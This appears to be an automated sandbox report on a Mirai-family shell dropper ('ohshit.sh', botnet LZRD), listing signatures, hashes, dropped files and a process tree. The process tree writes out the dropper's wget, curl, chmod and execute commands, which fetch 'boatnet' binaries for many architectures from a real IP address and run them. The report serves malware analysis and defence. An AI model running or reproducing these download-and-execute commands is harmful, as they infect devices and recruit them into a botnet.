Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    03-01-2025 11:36

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    dfb20882adc5a8a441e05549d24a2888

  • SHA1

    9cad12bea5d7cdf2c78c5a00b308f25923c59218

  • SHA256

    19d701781a24a57e13181d054c7f3a70d3e205ad72be89fd29dcfa3084e5e396

  • SHA512

    63ff945d55e5560f99d75c99656b03d1ef70a50900c3c8fcb93fa13d63540c11ba14585c78c202ace742fc924f75f01c4acf43141ff1f1f700ad10c8d72f4bb2

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:703
    • /usr/bin/wget
      wget http://154.216.18.23/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:710
    • /usr/bin/curl
      curl -O http://154.216.18.23/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:717
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:729
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-ca1b3c548cf6416b8e458eb540fca851-systemd-timedated.service-PWIQPY WTF
        2⤵
        • File and Directory Permissions Modification
        PID:731
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:732
      • /usr/bin/wget
        wget http://154.216.18.23/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:735
      • /usr/bin/curl
        curl -O http://154.216.18.23/hiddenbin/boatnet.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:738
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:739
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-ca1b3c548cf6416b8e458eb540fca851-systemd-timedated.service-PWIQPY WTF
        2⤵
        • File and Directory Permissions Modification
        PID:740
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:741
      • /usr/bin/wget
        wget http://154.216.18.23/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:745
      • /usr/bin/curl
        curl -O http://154.216.18.23/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:746
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:747
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-ca1b3c548cf6416b8e458eb540fca851-systemd-timedated.service-PWIQPY WTF
          2⤵
          • File and Directory Permissions Modification
          PID:748
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:749
        • /usr/bin/wget
          wget http://154.216.18.23/hiddenbin/boatnet.i468
          2⤵
            PID:751
          • /usr/bin/curl
            curl -O http://154.216.18.23/hiddenbin/boatnet.i468
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:752
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:756
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh WTF
              2⤵
              • File and Directory Permissions Modification
              PID:757
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:758
            • /usr/bin/wget
              wget http://154.216.18.23/hiddenbin/boatnet.i686
              2⤵
                PID:759
              • /usr/bin/curl
                curl -O http://154.216.18.23/hiddenbin/boatnet.i686
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:760
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:768
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:770
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:771
                • /usr/bin/wget
                  wget http://154.216.18.23/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:773
                  • /usr/bin/curl
                    curl -O http://154.216.18.23/hiddenbin/boatnet.x86_64
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:777
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:784
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:786
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:787
                    • /usr/bin/wget
                      wget http://154.216.18.23/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:789
                    • /usr/bin/curl
                      curl -O http://154.216.18.23/hiddenbin/boatnet.mpsl
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:796
                    • /bin/cat
                      cat boatnet.mpsl
                      2⤵
                        PID:808
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:810
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        PID:811
                      • /usr/bin/wget
                        wget http://154.216.18.23/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:814
                      • /usr/bin/curl
                        curl -O http://154.216.18.23/hiddenbin/boatnet.arm
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:820
                      • /bin/cat
                        cat boatnet.arm
                        2⤵
                          PID:822
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:823
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:824
                        • /usr/bin/wget
                          wget http://154.216.18.23/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:826
                        • /usr/bin/curl
                          curl -O http://154.216.18.23/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:827
                        • /bin/cat
                          cat boatnet.arm5
                          2⤵
                            PID:828
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:829
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:830
                          • /usr/bin/wget
                            wget http://154.216.18.23/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:832
                          • /usr/bin/curl
                            curl -O http://154.216.18.23/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:833
                          • /bin/cat
                            cat boatnet.arm6
                            2⤵
                              PID:834
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:835
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:836
                            • /usr/bin/wget
                              wget http://154.216.18.23/hiddenbin/boatnet.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:838
                            • /usr/bin/curl
                              curl -O http://154.216.18.23/hiddenbin/boatnet.arm7
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:844
                            • /bin/cat
                              cat boatnet.arm7
                              2⤵
                                PID:852
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:853
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                PID:855
                              • /usr/bin/wget
                                wget http://154.216.18.23/hiddenbin/boatnet.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:858
                              • /usr/bin/curl
                                curl -O http://154.216.18.23/hiddenbin/boatnet.ppc
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:865
                              • /bin/cat
                                cat boatnet.ppc
                                2⤵
                                  PID:872
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:873
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:874
                                • /usr/bin/wget
                                  wget http://154.216.18.23/hiddenbin/boatnet.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:878
                                • /usr/bin/curl
                                  curl -O http://154.216.18.23/hiddenbin/boatnet.spc
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:881
                                • /bin/cat
                                  cat boatnet.spc
                                  2⤵
                                    PID:882
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:883
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:884
                                  • /usr/bin/wget
                                    wget http://154.216.18.23/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:886
                                  • /usr/bin/curl
                                    curl -O http://154.216.18.23/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:887
                                  • /bin/cat
                                    cat boatnet.m68k
                                    2⤵
                                      PID:888
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:889
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:890
                                    • /usr/bin/wget
                                      wget http://154.216.18.23/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:892
                                    • /usr/bin/curl
                                      curl -O http://154.216.18.23/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:893
                                    • /bin/cat
                                      cat boatnet.sh4
                                      2⤵
                                        PID:894
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:895
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:896

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      30KB

                                      MD5

                                      27ee60d65a0b0d6af2a477bb96ca20e9

                                      SHA1

                                      cad4bba0734a87f2ff8eee097a92a140d5224d0b

                                      SHA256

                                      895e78113e4b330ac980707b9488628d2ae48336d9ac494cfde7f603efc614e3

                                      SHA512

                                      9c0b4eb1348b5b9289132551fad227a571a971d9ec69ddcc718001db6ee7ec66d89faf5c6007751a0428a4876ac26e072b9a202dc351cb6810ec99c4f76868b9

                                    • /tmp/WTF

                                      Filesize

                                      105KB

                                      MD5

                                      194b9bddea0fed8a1c658381aae3e658

                                      SHA1

                                      0985accf1d90f302910f13615359a64b5dd42a8a

                                      SHA256

                                      9e35db01d13839e7c92014a0d4244d39bea63aa8ac011d252013567758fe50f3

                                      SHA512

                                      cc793be8b7142430f465e6847323c3f015316738d500df66c7ad2430717fe7c873287a533e8ce55be6ea53886c2872230acbffefb8ae6c143306972860f0752e

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      f1c24d9fa40a047ae22d2d3ae7dfeac9

                                      SHA1

                                      750274b02d5f5b00026a4f55b020f4285c693533

                                      SHA256

                                      219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                      SHA512

                                      36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      a8f502a6fb3b7b940e922c951d9e493a

                                      SHA1

                                      fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                      SHA256

                                      748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                      SHA512

                                      e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                    • /tmp/WTF

                                      Filesize

                                      71KB

                                      MD5

                                      12be5a24b7680c9748121c172cfa0049

                                      SHA1

                                      a60722cd2acf0f3fb72a9614d7a371ae0bbaf8f8

                                      SHA256

                                      6d704d48e37ca4315ca8941fc24cabcad4a2dda041660e82e3bbe88a11579cb4

                                      SHA512

                                      8df73c10a4bbeedad5cfdb22e47f2888ee44401ee8a7f7182faf8a0e2be9a026e95b5af1489f4e254fc003aa4ca9e27b605bc6cf6ebef53ee72a6d55a5fbecd8

                                    • /tmp/boatnet.x86

                                      Filesize

                                      28KB

                                      MD5

                                      eae146a902f2fe0cfaf85240434db7c6

                                      SHA1

                                      f0d8349f832c17eafbc17adb648a5f104b008309

                                      SHA256

                                      b48028f95d683e1dd1ab7b71f8d18c0b0ae27eecb13535fa846cb4b8be455610

                                      SHA512

                                      4ec3bc79b2592f517cc42c4990e725d6ccc8e14b9b69f26de0cee032d7872f1956c3e6f9821cc95cbef4a768151b924cc2bab07e42b89e353ef6bea0afc65e40